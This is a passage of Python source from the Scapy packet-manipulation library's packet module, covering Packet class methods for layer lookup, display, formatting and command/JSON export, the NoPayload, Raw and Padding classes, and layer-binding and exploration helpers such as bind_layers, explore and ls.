DEV: Returns the default payload class if nothing has been found by the guess_payload_class() method. :param str payload: the layer's payload :return: the default payload class define inside the configuration file """ return conf.raw_layer def hide_defaults(self): # type: () -> None """Removes fields' values that are the same as default values.""" # use list(): self.fields is modified in the loop for k, v in list(self.fields.items()): v = self.fields[k] if k in self.default_fields: if self.default_fields[k] == v: del self.fields[k] self.payload.hide_defaults() def clone_with(self, payload=None, **kargs): # type: (Optional[Any], **Any) -> Any pkt = self.__class__() pkt.explicit = 1 pkt.fields = kargs pkt.default_fields = self.copy_fields_dict(self.default_fields) pkt.overloaded_fields = self.overloaded_fields.copy() pkt.time = self.time pkt.underlayer = self.underlayer pkt.parent = self.parent pkt.post_transforms = self.post_transforms pkt.raw_packet_cache = self.raw_packet_cache pkt.raw_packet_cache_fields = self.copy_fields_dict( self.raw_packet_cache_fields ) pkt.wirelen = self.wirelen pkt.comments = self.comments pkt.sniffed_on = self.sniffed_on pkt.direction = self.direction if payload is not None: pkt.add_payload(payload) return pkt def __iter__(self): # type: () -> Iterator[Packet] """Iterates through all sub-packets generated by this Packet.""" def loop(todo, done, self=self): # type: (List[str], Dict[str, Any], Any) -> Iterator[Packet] if todo: eltname = todo.pop() elt = self.getfieldval(eltname) if not isinstance(elt, Gen): if self.get_field(eltname).islist: elt = SetGen([elt]) else: elt = SetGen(elt) for e in elt: done[eltname] = e for x in loop(todo[:], done): yield x else: if isinstance(self.payload, NoPayload): payloads = SetGen([None]) # type: SetGen[Packet] else: payloads = self.payload for payl in payloads: # Let's make sure subpackets are consistent done2 = done.copy() for k in done2: if isinstance(done2[k], VolatileValue): done2[k] = done2[k]._fix() pkt = self.clone_with(payload=payl, **done2) yield pkt if self.explicit or self.raw_packet_cache is not None: todo = [] done = self.fields else: todo = [k for (k, v) in itertools.chain(self.default_fields.items(), self.overloaded_fields.items()) if isinstance(v, VolatileValue)] + list(self.fields) done = {} return loop(todo, done) def iterpayloads(self): # type: () -> Iterator[Packet] """Used to iter through the payloads of a Packet. Useful for DNS or 802.11 for instance. """ yield self current = self while current.payload: current = current.payload yield current def __gt__(self, other): # type: (Packet) -> int """True if other is an answer from self (self ==> other).""" if isinstance(other, Packet): return other < self elif isinstance(other, bytes): return 1 else: raise TypeError((self, other)) def __lt__(self, other): # type: (Packet) -> int """True if self is an answer from other (other ==> self).""" if isinstance(other, Packet): return self.answers(other) elif isinstance(other, bytes): return 1 else: raise TypeError((self, other)) def __eq__(self, other): # type: (Any) -> bool if not isinstance(other, self.__class__): return False for f in self.fields_desc: if f not in other.fields_desc: return False if self.getfieldval(f.name) != other.getfieldval(f.name): return False return self.payload == other.payload def __ne__(self, other): # type: (Any) -> bool return not self.__eq__(other) # Note: setting __hash__ to None is the standard way # of making an object un-hashable. mypy doesn't know that __hash__ = None # type: ignore def hashret(self): # type: () -> bytes """DEV: returns a string that has the same value for a request and its answer.""" return self.payload.hashret() def answers(self, other): # type: (Packet) -> int """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return self.payload.answers(other.payload) return 0 def layers(self): # type: () -> List[Type[Packet]] """returns a list of layer classes (including subclasses) in this packet""" # noqa: E501 layers = [] lyr = self # type: Optional[Packet] while lyr: layers.append(lyr.__class__) lyr = lyr.payload.getlayer(0, _subclass=True) return layers def haslayer(self, cls, _subclass=None): # type: (Union[Type[Packet], str], Optional[bool]) -> int """ true if self has a layer that is an instance of cls. Superseded by "cls in self" syntax. """ if _subclass is None: _subclass = self.match_subclass or None if _subclass: match = issubtype else: match = lambda x, t: bool(x == t) if cls is None or match(self.__class__, cls) \ or cls in [self.__class__.__name__, self._name]: return True for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen, _iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): ret = fvalue.haslayer(cls, _subclass=_subclass) if ret: return ret return self.payload.haslayer(cls, _subclass=_subclass) def getlayer(self, cls, # type: Union[int, Type[Packet], str] nb=1, # type: int _track=None, # type: Optional[List[int]] _subclass=None, # type: Optional[bool] **flt # type: Any ): # type: (...) -> Optional[Packet] """Return the nb^th layer that is an instance of cls, matching flt values. """ if _subclass is None: _subclass = self.match_subclass or None if _subclass: match = issubtype else: match = lambda x, t: bool(x == t) # Note: # cls can be int, packet, str # string_class_name can be packet, str (packet or packet+field) # class_name can be packet, str (packet only) if isinstance(cls, int): nb = cls + 1 string_class_name = "" # type: Union[Type[Packet], str] else: string_class_name = cls class_name = "" # type: Union[Type[Packet], str] fld = None # type: Optional[str] if isinstance(string_class_name, str) and "." in string_class_name: class_name, fld = string_class_name.split(".", 1) else: class_name, fld = string_class_name, None if not class_name or match(self.__class__, class_name) \ or class_name in [self.__class__.__name__, self._name]: if all(self.getfieldval(fldname) == fldvalue for fldname, fldvalue in flt.items()): if nb == 1: if fld is None: return self else: return self.getfieldval(fld) # type: ignore else: nb -= 1 for f in self.packetfields: fvalue_gen = self.getfieldval(f.name) if fvalue_gen is None: continue if not f.islist: fvalue_gen = SetGen(fvalue_gen, _iterpacket=0) for fvalue in fvalue_gen: if isinstance(fvalue, Packet): track = [] # type: List[int] ret = fvalue.getlayer(class_name, nb=nb, _track=track, _subclass=_subclass, **flt) if ret is not None: return ret nb = track[0] return self.payload.getlayer(class_name, nb=nb, _track=_track, _subclass=_subclass, **flt) def firstlayer(self): # type: () -> Packet q = self while q.underlayer is not None: q = q.underlayer return q def __getitem__(self, cls): # type: (Union[Type[Packet], str]) -> Any if isinstance(cls, slice): lname = cls.start if cls.stop: ret = self.getlayer(cls.start, nb=cls.stop, **(cls.step or {})) else: ret = self.getlayer(cls.start, **(cls.step or {})) else: lname = cls ret = self.getlayer(cls) if ret is None: if isinstance(lname, type): name = lname.__name__ elif not isinstance(lname, bytes): name = repr(lname) else: name = cast(str, lname) raise IndexError("Layer [%s] not found" % name) return ret def __delitem__(self, cls): # type: (Type[Packet]) -> None del self[cls].underlayer.payload def __setitem__(self, cls, val): # type: (Type[Packet], Packet) -> None self[cls].underlayer.payload = val def __contains__(self, cls): # type: (Union[Type[Packet], str]) -> int """ "cls in self" returns true if self has a layer which is an instance of cls. """ return self.haslayer(cls) def route(self): # type: () -> Tuple[Optional[str], Optional[str], Optional[str]] return self.payload.route() def fragment(self, *args, **kargs): # type: (*Any, **Any) -> List[Packet] return self.payload.fragment(*args, **kargs) def display(self, *args, **kargs): # Deprecated. Use show() # type: (*Any, **Any) -> None """Deprecated. Use show() method.""" self.show(*args, **kargs) def _show_or_dump(self, dump=False, # type: bool indent=3, # type: int lvl="", # type: str label_lvl="", # type: str first_call=True # type: bool ): # type: (...) -> Optional[str] """ Internal method that shows or dumps a hierarchical view of a packet. Called by show. :param dump: determine if it prints or returns the string value :param int indent: the size of indentation for each layer :param str lvl: additional information about the layer lvl :param str label_lvl: additional information about the layer fields :param first_call: determine if the current function is the first :return: return a hierarchical view if dump, else print it """ if dump: from scapy.themes import ColorTheme, AnsiColorTheme ct: ColorTheme = AnsiColorTheme() # No color for dump output else: ct = conf.color_theme s = "%s%s %s %s\n" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###")) fields = self.fields_desc.copy() while fields: f = fields.pop(0) if isinstance(f, ConditionalField) and not f._evalcond(self): continue if hasattr(f, "fields"): # Field has subfields s += "%s %s =\n" % ( label_lvl + lvl, ct.depreciate_field_name(f.name), ) lvl += " " * indent * self.show_indent for i, fld in enumerate(x for x in f.fields if hasattr(self, x.name)): fields.insert(i, fld) continue if isinstance(f, Emph) or f in conf.emph: ncol = ct.emph_field_name vcol = ct.emph_field_value else: ncol = ct.field_name vcol = ct.field_value pad = max(0, 10 - len(f.name)) * " " fvalue = self.getfieldval(f.name) if isinstance(fvalue, Packet) or (f.islist and f.holds_packets and isinstance(fvalue, list)): # noqa: E501 s += "%s %s%s%s%s\n" % (label_lvl + lvl, ct.punct("\\"), ncol(f.name), pad, ct.punct("\\")) fvalue_gen = SetGen( fvalue, _iterpacket=0 ) # type: SetGen[Packet] for fvalue in fvalue_gen: s += fvalue._show_or_dump(dump=dump, indent=indent, label_lvl=label_lvl + lvl + " |", first_call=False) # noqa: E501 else: begn = "%s %s%s%s " % (label_lvl + lvl, ncol(f.name), pad, ct.punct("="),) reprval = f.i2repr(self, fvalue) if isinstance(reprval, str): reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + # noqa: E501 len(lvl) + len(f.name) + 4)) s += "%s%s\n" % (begn, vcol(reprval)) if self.payload: s += self.payload._show_or_dump( # type: ignore dump=dump, indent=indent, lvl=lvl + (" " * indent * self.show_indent), label_lvl=label_lvl, first_call=False ) if first_call and not dump: print(s) return None else: return s def show(self, dump=False, indent=3, lvl="", label_lvl=""): # type: (bool, int, str, str) -> Optional[Any] """ Prints or returns (when "dump" is true) a hierarchical view of the packet. :param dump: determine if it prints or returns the string value :param int indent: the size of indentation for each layer :param str lvl: additional information about the layer lvl :param str label_lvl: additional information about the layer fields :return: return a hierarchical view if dump, else print it """ return self._show_or_dump(dump, indent, lvl, label_lvl) def show2(self, dump=False, indent=3, lvl="", label_lvl=""): # type: (bool, int, str, str) -> Optional[Any] """ Prints or returns (when "dump" is true) a hierarchical view of an assembled version of the packet, so that automatic fields are calculated (checksums, etc.) :param dump: determine if it prints or returns the string value :param int indent: the size of indentation for each layer :param str lvl: additional information about the layer lvl :param str label_lvl: additional information about the layer fields :return: return a hierarchical view if dump, else print it """ return self.__class__(raw(self)).show(dump, indent, lvl, label_lvl) def sprintf(self, fmt, relax=1): # type: (str, int) -> str """ sprintf(format, [relax=1]) -> str Where format is a string that can include directives. A directive begins and ends by % and has the following format: ``%[fmt[r],][cls[:nb].]field%`` :param fmt: is a classic printf directive, "r" can be appended for raw substitution: (ex: IP.flags=0x18 instead of SA), nb is the number of the layer (ex: for IP/IP packets, IP:2.src is the src of the upper IP layer). Special case : "%.time%" is the creation time. Ex:: p.sprintf( "%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% " "%03xr,IP.proto% %r,TCP.flags%" ) Moreover, the format string can include conditional statements. A conditional statement looks like : {layer:string} where layer is a layer name, and string is the string to insert in place of the condition if it is true, i.e. if layer is present. If layer is preceded by a "!", the result is inverted. Conditions can be imbricated. A valid statement can be:: p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet") p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}") A side effect is that, to obtain "{" and "}" characters, you must use "%(" and "%)". """ escape = {"%": "%", "(": "{", ")": "}"} # Evaluate conditions while "{" in fmt: i = fmt.rindex("{") j = fmt[i + 1:].index("}") cond = fmt[i + 1:i + j + 1] k = cond.find(":") if k < 0: raise Scapy_Exception("Bad condition in format string: [%s] (read sprintf doc!)" % cond) # noqa: E501 cond, format_ = cond[:k], cond[k + 1:] res = False if cond[0] == "!": res = True cond = cond[1:] if self.haslayer(cond): res = not res if not res: format_ = "" fmt = fmt[:i] + format_ + fmt[i + j + 2:] # Evaluate directives s = "" while "%" in fmt: i = fmt.index("%") s += fmt[:i] fmt = fmt[i + 1:] if fmt and fmt[0] in escape: s += escape[fmt[0]] fmt = fmt[1:] continue try: i = fmt.index("%") sfclsfld = fmt[:i] fclsfld = sfclsfld.split(",") if len(fclsfld) == 1: f = "s" clsfld = fclsfld[0] elif len(fclsfld) == 2: f, clsfld = fclsfld else: raise Scapy_Exception if "." in clsfld: cls, fld = clsfld.split(".") else: cls = self.__class__.__name__ fld = clsfld num = 1 if ":" in cls: cls, snum = cls.split(":") num = int(snum) fmt = fmt[i + 1:] except Exception: raise Scapy_Exception("Bad format string [%%%s%s]" % (fmt[:25], fmt[25:] and "...")) # noqa: E501 else: if fld == "time": val = time.strftime( "%H:%M:%S.%%06i", time.localtime(float(self.time)) ) % int((self.time - int(self.time)) * 1000000) elif cls == self.__class__.__name__ and hasattr(self, fld): if num > 1: val = self.payload.sprintf("%%%s,%s:%s.%s%%" % (f, cls, num - 1, fld), relax) # noqa: E501 f = "s" else: try: val = self.getfieldval(fld) except AttributeError: val = getattr(self, fld) if f[-1] == "r": # Raw field value f = f[:-1] if not f: f = "s" else: if fld in self.fieldtype: val = self.fieldtype[fld].i2repr(self, val) else: val = self.payload.sprintf("%%%s%%" % sfclsfld, relax) f = "s" s += ("%" + f) % val s += fmt return s def mysummary(self): # type: () -> str """DEV: can be overloaded to return a string that summarizes the layer. Only one mysummary() is used in a whole packet summary: the one of the upper layer, # noqa: E501 except if a mysummary() also returns (as a couple) a list of layers whose # noqa: E501 mysummary() must be called if they are present.""" return "" def _do_summary(self): # type: () -> Tuple[int, str, List[Any]] found, s, needed = self.payload._do_summary() ret = "" if not found or self.__class__ in needed: ret = self.mysummary() if isinstance(ret, tuple): ret, n = ret needed += n if ret or needed: found = 1 if not ret: ret = self.__class__.__name__ if self.show_summary else "" if self.__class__ in conf.emph: impf = [] for f in self.fields_desc: if f in conf.emph: impf.append("%s=%s" % (f.name, f.i2repr(self, self.getfieldval(f.name)))) # noqa: E501 ret = "%s [%s]" % (ret, " ".join(impf)) if ret and s: ret = "%s / %s" % (ret, s) else: ret = "%s%s" % (ret, s) return found, ret, needed def summary(self, intern=0): # type: (int) -> str """Prints a one line summary of a packet.""" return self._do_summary()[1] def lastlayer(self, layer=None): # type: (Optional[Packet]) -> Packet """Returns the uppest layer of the packet""" return self.payload.lastlayer(self) def decode_payload_as(self, cls): # type: (Type[Packet]) -> None """Reassembles the payload and decode it using another packet class""" s = raw(self.payload) self.payload = cls(s, _internal=1, _underlayer=self) pp = self while pp.underlayer is not None: pp = pp.underlayer self.payload.dissection_done(pp) def _command(self, json=False): # type: (bool) -> List[Tuple[str, Any]] """ Internal method used to generate command() and json() """ f = [] iterator: Iterator[Tuple[str, Any]] if json: iterator = ((x.name, self.getfieldval(x.name)) for x in self.fields_desc) else: iterator = iter(self.fields.items()) for fn, fv in iterator: fld = self.get_field(fn) if isinstance(fv, (list, dict, set)) and not fv and not fld.default: continue if isinstance(fv, Packet): if json: fv = {k: v for (k, v) in fv._command(json=True)} else: fv = fv.command() elif fld.islist and fld.holds_packets and isinstance(fv, list): if json: fv = [ {k: v for (k, v) in x} for x in map(lambda y: Packet._command(y, json=True), fv) ] else: fv = "[%s]" % ",".join(map(Packet.command, fv)) elif fld.islist and isinstance(fv, list): if json: fv = [ getattr(x, 'command', lambda: repr(x))() for x in fv ] else: fv = "[%s]" % ",".join( getattr(x, 'command', lambda: repr(x))() for x in fv ) elif isinstance(fv, FlagValue): fv = int(fv) elif callable(getattr(fv, 'command', None)): fv = fv.command(json=json) else: if json: if isinstance(fv, bytes): fv = fv.decode("utf-8", errors="backslashreplace") else: fv = fld.i2h(self, fv) else: fv = repr(fld.i2h(self, fv)) f.append((fn, fv)) return f def command(self): # type: () -> str """ Returns a string representing the command you have to type to obtain the same packet """ c = "%s(%s)" % ( self.__class__.__name__, ", ".join("%s=%s" % x for x in self._command()) ) pc = self.payload.command() if pc: c += "/" + pc return c def json(self): # type: () -> str """ Returns a JSON representing the packet. Please note that this cannot be used for bijective usage: data loss WILL occur, so it will not make sense to try to rebuild the packet from the output. This must only be used for a grepping/displaying purpose. """ dump = json.dumps({k: v for (k, v) in self._command(json=True)}) pc = self.payload.json() if pc: dump = dump[:-1] + ", \"payload\": %s}" % pc return dump class NoPayload(Packet): def __new__(cls, *args, **kargs): # type: (Type[Packet], *Any, **Any) -> NoPayload singl = cls.__dict__.get("__singl__") if singl is None: cls.__singl__ = singl = Packet.__new__(cls) Packet.__init__(singl) return cast(NoPayload, singl) def __init__(self, *args, **kargs): # type: (*Any, **Any) -> None pass def dissection_done(self, pkt): # type: (Packet) -> None pass def add_payload(self, payload): # type: (Union[Packet, bytes]) -> NoReturn raise Scapy_Exception("Can't add payload to NoPayload instance") def remove_payload(self): # type: () -> None pass def add_underlayer(self, underlayer): # type: (Any) -> None pass def remove_underlayer(self, other): # type: (Packet) -> None pass def add_parent(self, parent): # type: (Any) -> None pass def remove_parent(self, other): # type: (Packet) -> None pass def copy(self): # type: () -> NoPayload return self def clear_cache(self): # type: () -> None pass def __repr__(self): # type: () -> str return "" def __str__(self): # type: () -> str return "" def __bytes__(self): # type: () -> bytes return b"" def __nonzero__(self): # type: () -> bool return False __bool__ = __nonzero__ def do_build(self): # type: () -> bytes return b"" def build(self): # type: () -> bytes return b"" def build_padding(self): # type: () -> bytes return b"" def build_done(self, p): # type: (bytes) -> bytes return p def build_ps(self, internal=0): # type: (int) -> Tuple[bytes, List[Any]] return b"", [] def getfieldval(self, attr): # type: (str) -> NoReturn raise AttributeError(attr) def getfield_and_val(self, attr): # type: (str) -> NoReturn raise AttributeError(attr) def setfieldval(self, attr, val): # type: (str, Any) -> NoReturn raise AttributeError(attr) def delfieldval(self, attr): # type: (str) -> NoReturn raise AttributeError(attr) def hide_defaults(self): # type: () -> None pass def __iter__(self): # type: () -> Iterator[Packet] return iter([]) def __eq__(self, other): # type: (Any) -> bool if isinstance(other, NoPayload): return True return False def hashret(self): # type: () -> bytes return b"" def answers(self, other): # type: (Packet) -> bool return isinstance(other, (NoPayload, conf.padding_layer)) # noqa: E501 def haslayer(self, cls, _subclass=None): # type: (Union[Type[Packet], str], Optional[bool]) -> int return 0 def getlayer(self, cls, # type: Union[int, Type[Packet], str] nb=1, # type: int _track=None, # type: Optional[List[int]] _subclass=None, # type: Optional[bool] **flt # type: Any ): # type: (...) -> Optional[Packet] if _track is not None: _track.append(nb) return None def fragment(self, *args, **kargs): # type: (*Any, **Any) -> List[Packet] raise Scapy_Exception("cannot fragment this packet") def show(self, dump=False, indent=3, lvl="", label_lvl=""): # type: (bool, int, str, str) -> None pass def sprintf(self, fmt, relax=1): # type: (str, int) -> str if relax: return "??" else: raise Scapy_Exception("Format not found [%s]" % fmt) def _do_summary(self): # type: () -> Tuple[int, str, List[Any]] return 0, "", [] def layers(self): # type: () -> List[Type[Packet]] return [] def lastlayer(self, layer=None): # type: (Optional[Packet]) -> Packet return layer or self def command(self): # type: () -> str return "" def json(self): # type: () -> str return "" def route(self): # type: () -> Tuple[None, None, None] return (None, None, None) #################### # packet classes # #################### class Raw(Packet): name = "Raw" fields_desc = [StrField("load", b"")] def __init__(self, _pkt=b"", *args, **kwargs): # type: (bytes, *Any, **Any) -> None if _pkt and not isinstance(_pkt, bytes): if isinstance(_pkt, tuple): _pkt, bn = _pkt _pkt = bytes_encode(_pkt), bn else: _pkt = bytes_encode(_pkt) super(Raw, self).__init__(_pkt, *args, **kwargs) def answers(self, other): # type: (Packet) -> int return 1 def mysummary(self): # type: () -> str cs = conf.raw_summary if cs: if callable(cs): return "Raw %s" % cs(self.load) else: return "Raw %r" % self.load return Packet.mysummary(self) class Padding(Raw): name = "Padding" def self_build(self): # type: (Optional[Any]) -> bytes return b"" def build_padding(self): # type: () -> bytes return ( bytes_encode(self.load) if self.raw_packet_cache is None else self.raw_packet_cache ) + self.payload.build_padding() conf.raw_layer = Raw conf.padding_layer = Padding if conf.default_l2 is None: conf.default_l2 = Raw ################# # Bind layers # ################# def bind_bottom_up(lower, # type: Type[Packet] upper, # type: Type[Packet] __fval=None, # type: Optional[Any] **fval # type: Any ): # type: (...) -> None r"""Bind 2 layers for dissection. The upper layer will be chosen for dissection on top of the lower layer, if ALL the passed arguments are validated. If multiple calls are made with the same layers, the last one will be used as default. ex: >>> bind_bottom_up(Ether, SNAP, type=0x1234) >>> Ether(b'\xff\xff\xff\xff\xff\xff\xd0P\x99V\xdd\xf9\x124\x00\x00\x00\x00\x00') # noqa: E501 > # noqa: E501 """ if __fval is not None: fval.update(__fval) lower.payload_guess = lower.payload_guess[:] lower.payload_guess.append((fval, upper)) def bind_top_down(lower, # type: Type[Packet] upper, # type: Type[Packet] __fval=None, # type: Optional[Any] **fval # type: Any ): # type: (...) -> None """Bind 2 layers for building. When the upper layer is added as a payload of the lower layer, all the arguments will be applied to them. ex: >>> bind_top_down(Ether, SNAP, type=0x1234) >>> Ether()/SNAP() > """ if __fval is not None: fval.update(__fval) upper._overload_fields = upper._overload_fields.copy() # type: ignore upper._overload_fields[lower] = fval @conf.commands.register def bind_layers(lower, # type: Type[Packet] upper, # type: Type[Packet] __fval=None, # type: Optional[Dict[str, int]] **fval # type: Any ): # type: (...) -> None """Bind 2 layers on some specific fields' values. It makes the packet being built and dissected when the arguments are present. This function calls both bind_bottom_up and bind_top_down, with all passed arguments. Please have a look at their docs: - help(bind_bottom_up) - help(bind_top_down) """ if __fval is not None: fval.update(__fval) bind_top_down(lower, upper, **fval) bind_bottom_up(lower, upper, **fval) def split_bottom_up(lower, # type: Type[Packet] upper, # type: Type[Packet] __fval=None, # type: Optional[Any] **fval # type: Any ): # type: (...) -> None """This call un-links an association that was made using bind_bottom_up. Have a look at help(bind_bottom_up) """ if __fval is not None: fval.update(__fval) def do_filter(params, cls): # type: (Dict[str, int], Type[Packet]) -> bool params_is_invalid = any( k not in params or params[k] != v for k, v in fval.items() ) return cls != upper or params_is_invalid lower.payload_guess = [x for x in lower.payload_guess if do_filter(*x)] def split_top_down(lower, # type: Type[Packet] upper, # type: Type[Packet] __fval=None, # type: Optional[Any] **fval # type: Any ): # type: (...) -> None """This call un-links an association that was made using bind_top_down. Have a look at help(bind_top_down) """ if __fval is not None: fval.update(__fval) if lower in upper._overload_fields: ofval = upper._overload_fields[lower] if any(k not in ofval or ofval[k] != v for k, v in fval.items()): return upper._overload_fields = upper._overload_fields.copy() # type: ignore del upper._overload_fields[lower] @conf.commands.register def split_layers(lower, # type: Type[Packet] upper, # type: Type[Packet] __fval=None, # type: Optional[Any] **fval # type: Any ): # type: (...) -> None """Split 2 layers previously bound. This call un-links calls bind_top_down and bind_bottom_up. It is the opposite of # noqa: E501 bind_layers. Please have a look at their docs: - help(split_bottom_up) - help(split_top_down) """ if __fval is not None: fval.update(__fval) split_bottom_up(lower, upper, **fval) split_top_down(lower, upper, **fval) @conf.commands.register def explore(layer=None): # type: (Optional[str]) -> None """Function used to discover the Scapy layers and protocols. It helps to see which packets exists in contrib or layer files. params: - layer: If specified, the function will explore the layer. If not, the GUI mode will be activated, to browse the available layers examples: >>> explore() # Launches the GUI >>> explore("dns") # Explore scapy.layers.dns >>> explore("http2") # Explore scapy.contrib.http2 >>> explore(scapy.layers.bluetooth4LE) Note: to search a packet by name, use ls("name") rather than explore. """ if layer is None: # GUI MODE if not conf.interactive: raise Scapy_Exception("explore() GUI-mode cannot be run in " "interactive mode. Please provide a " "'layer' parameter !") # 0 - Imports try: import prompt_toolkit except ImportError: raise ImportError("prompt_toolkit is not installed ! " "You may install IPython, which contains it, via" " `pip install ipython`") if not _version_checker(prompt_toolkit, (2, 0)): raise ImportError("prompt_toolkit >= 2.0.0 is required !") # Only available with prompt_toolkit > 2.0, not released on PyPi yet from prompt_toolkit.shortcuts.dialogs import radiolist_dialog, \ button_dialog from prompt_toolkit.formatted_text import HTML # Check for prompt_toolkit >= 3.0.0 call_ptk = lambda x: cast(str, x) # type: Callable[[Any], str] if _version_checker(prompt_toolkit, (3, 0)): call_ptk = lambda x: x.run() # 1 - Ask for layer or contrib btn_diag = button_dialog( title="Scapy v%s" % conf.version, text=HTML( '' ), buttons=[ ("Layers", "layers"), ("Contribs", "contribs"), ("Cancel", "cancel") ]) action = call_ptk(btn_diag) # 2 - Retrieve list of Packets if action == "layers": # Get all loaded layers lvalues = conf.layers.layers() # Restrict to layers-only (not contribs) + packet.py and asn1*.py values = [x for x in lvalues if ("layers" in x[0] or "packet" in x[0] or "asn1" in x[0])] elif action == "contribs": # Get all existing contribs from scapy.main import list_contrib cvalues = cast(List[Dict[str, str]], list_contrib(ret=True)) values = [(x['name'], x['description']) for x in cvalues] # Remove very specific modules values = [x for x in values if "can" not in x[0]] else: # Escape/Cancel was pressed return # Build tree if action == "contribs": # A tree is a dictionary. Each layer contains a keyword # _l which contains the files in the layer, and a _name # argument which is its name. The other keys are the subfolders, # which are similar dictionaries tree = defaultdict(list) # type: Dict[str, Union[List[Any], Dict[str, Any]]] # noqa: E501 for name, desc in values: if "." in name: # Folder detected parts = name.split(".") subtree = tree for pa in parts[:-1]: if pa not in subtree: subtree[pa] = {} # one layer deeper subtree = subtree[pa] # type: ignore subtree["_name"] = pa # type: ignore if "_l" not in subtree: subtree["_l"] = [] subtree["_l"].append((parts[-1], desc)) # type: ignore else: tree["_l"].append((name, desc)) # type: ignore elif action == "layers": tree = {"_l": values} # 3 - Ask for the layer/contrib module to explore current = tree # type: Any previous = [] # type: List[Dict[str, Union[List[Any], Dict[str, Any]]]] # noqa: E501 while True: # Generate tests & form folders = list(current.keys()) _radio_values = [ ("$" + name, str('[+] ' + name.capitalize())) for name in folders if not name.startswith("_") ] + current.get("_l", []) # type: List[str] cur_path = "" if previous: cur_path = ".".join( itertools.chain( (x["_name"] for x in previous[1:]), # type: ignore (current["_name"],) ) ) extra_text = ( '\n' ) % (action + ("." + cur_path if cur_path else "")) # Show popup rd_diag = radiolist_dialog( values=_radio_values, title="Scapy v%s" % conf.version, text=HTML( ( '' ) + extra_text ), cancel_text="Back" if previous else "Cancel" ) result = call_ptk(rd_diag) if result is None: # User pressed "Cancel/Back" if previous: # Back current = previous.pop() continue else: # Cancel return if result.startswith("$"): previous.append(current) current = current[result[1:]] else: # Enter on layer if previous: # In subfolder result = cur_path + "." + result break # 4 - (Contrib only): load contrib if action == "contribs": from scapy.main import load_contrib load_contrib(result) result = "scapy.contrib." + result else: # NON-GUI MODE # We handle layer as a short layer name, full layer name # or the module itself if isinstance(layer, types.ModuleType): layer = layer.__name__ if isinstance(layer, str): if layer.startswith("scapy.layers."): result = layer else: if layer.startswith("scapy.contrib."): layer = layer.replace("scapy.contrib.", "") from scapy.main import load_contrib load_contrib(layer) result_layer, result_contrib = (("scapy.layers.%s" % layer), ("scapy.contrib.%s" % layer)) if result_layer in conf.layers.ldict: result = result_layer elif result_contrib in conf.layers.ldict: result = result_contrib else: raise Scapy_Exception("Unknown scapy module '%s'" % layer) else: warning("Wrong usage ! Check out help(explore)") return # COMMON PART # Get the list of all Packets contained in that module try: all_layers = conf.layers.ldict[result] except KeyError: raise Scapy_Exception("Unknown scapy module '%s'" % layer) # Print print(conf.color_theme.layer_name("Packets contained in %s:" % result)) rtlst = [] # type: List[Tuple[Union[str, List[str]], ...]] rtlst = [(lay.__name__ or "", cast(str, lay._name) or "") for lay in all_layers] print(pretty_list(rtlst, [("Class", "Name")], borders=True)) def _pkt_ls(obj, # type: Union[Packet, Type[Packet]] verbose=False, # type: bool ): # type: (...) -> List[Tuple[str, Type[AnyField], str, str, List[str]]] # noqa: E501 """Internal function used to resolve `fields_desc` to display it. :param obj: a packet object or class :returns: a list containing tuples [(name, clsname, clsname_extras, default, long_attrs)] """ is_pkt = isinstance(obj, Packet) if not issubtype(obj, Packet) and not is_pkt: raise ValueError fields = [] for f in obj.fields_desc: cur_fld = f attrs = [] # type: List[str] long_attrs = [] # type: List[str] while isinstance(cur_fld, (Emph, ConditionalField)): if isinstance(cur_fld, ConditionalField): attrs.append(cur_fld.__class__.__name__[:4]) cur_fld = cur_fld.fld name = cur_fld.name default = cur_fld.default if verbose and isinstance(cur_fld, EnumField) \ and hasattr(cur_fld, "i2s") and cur_fld.i2s: if len(cur_fld.i2s or []) < 50: long_attrs.extend( "%s: %d" % (strval, numval) for numval, strval in sorted(cur_fld.i2s.items()) ) elif isinstance(cur_fld, MultiEnumField): if isinstance(obj, Packet): obj_pkt = obj else: obj_pkt = obj() fld_depend = cur_fld.depends_on(obj_pkt) attrs.append("Depends on %s" % fld_depend) if verbose: cur_i2s = cur_fld.i2s_multi.get( cur_fld.depends_on(obj_pkt), {} ) if len(cur_i2s) < 50: long_attrs.extend( "%s: %d" % (strval, numval) for numval, strval in sorted(cur_i2s.items()) ) elif verbose and isinstance(cur_fld, FlagsField): names = cur_fld.names long_attrs.append(", ".join(names)) elif isinstance(cur_fld, MultipleTypeField): default = cur_fld.dflt.default attrs.append(", ".join( x[0].__class__.__name__ for x in itertools.chain(cur_fld.flds, [(cur_fld.dflt,)]) )) cls = cur_fld.__class__ class_name_extras = "(%s)" % ( ", ".join(attrs) ) if attrs else "" if isinstance(cur_fld, BitField): class_name_extras += " (%d bit%s)" % ( cur_fld.size, "s" if cur_fld.size > 1 else "" ) fields.append( (name, cls, class_name_extras, repr(default), long_attrs) ) return fields @conf.commands.register def ls(obj=None, # type: Optional[Union[str, Packet, Type[Packet]]] case_sensitive=False, # type: bool verbose=False # type: bool ): # type: (...) -> None """List available layers, or infos on a given layer class or name. :param obj: Packet / packet name to use :param case_sensitive: if obj is a string, is it case sensitive? :param verbose: """ if obj is None or isinstance(obj, str): tip = False if obj is None: tip = True all_layers = sorted(conf.layers, key=lambda x: x.__name__) else: pattern = re.compile( obj, 0 if case_sensitive else re.I ) # We first order by accuracy, then length if case_sensitive: sorter = lambda x: (x.__name__.index(obj), len(x.__name__)) else: obj = obj.lower() sorter = lambda x: (x.__name__.lower().index(obj), len(x.__name__)) all_layers = sorted((layer for layer in conf.layers if (isinstance(layer.__name__, str) and pattern.search(layer.__name__)) or (isinstance(layer.name, str) and pattern.search(layer.name))), key=sorter) for layer in all_layers: print("%-10s : %s" % (layer.__name__, layer._name)) if tip and conf.interactive: print("\nTIP: You may use explore() to navigate through all " "layers using a clear GUI") else: try: fields = _pkt_ls( obj, verbose=verbose ) is_pkt = isinstance(obj, Packet) # Print for fname, cls, clsne, dflt, long_attrs in fields: clsinfo = cls.__name__ + " " + clsne print("%-10s : %-35s =" % (fname, clsinfo), end=' ') if is_pkt: print("%-15r" % (getattr(obj, fname),), end=' ') print("(%r)" % (dflt,)) for attr in long_attrs: 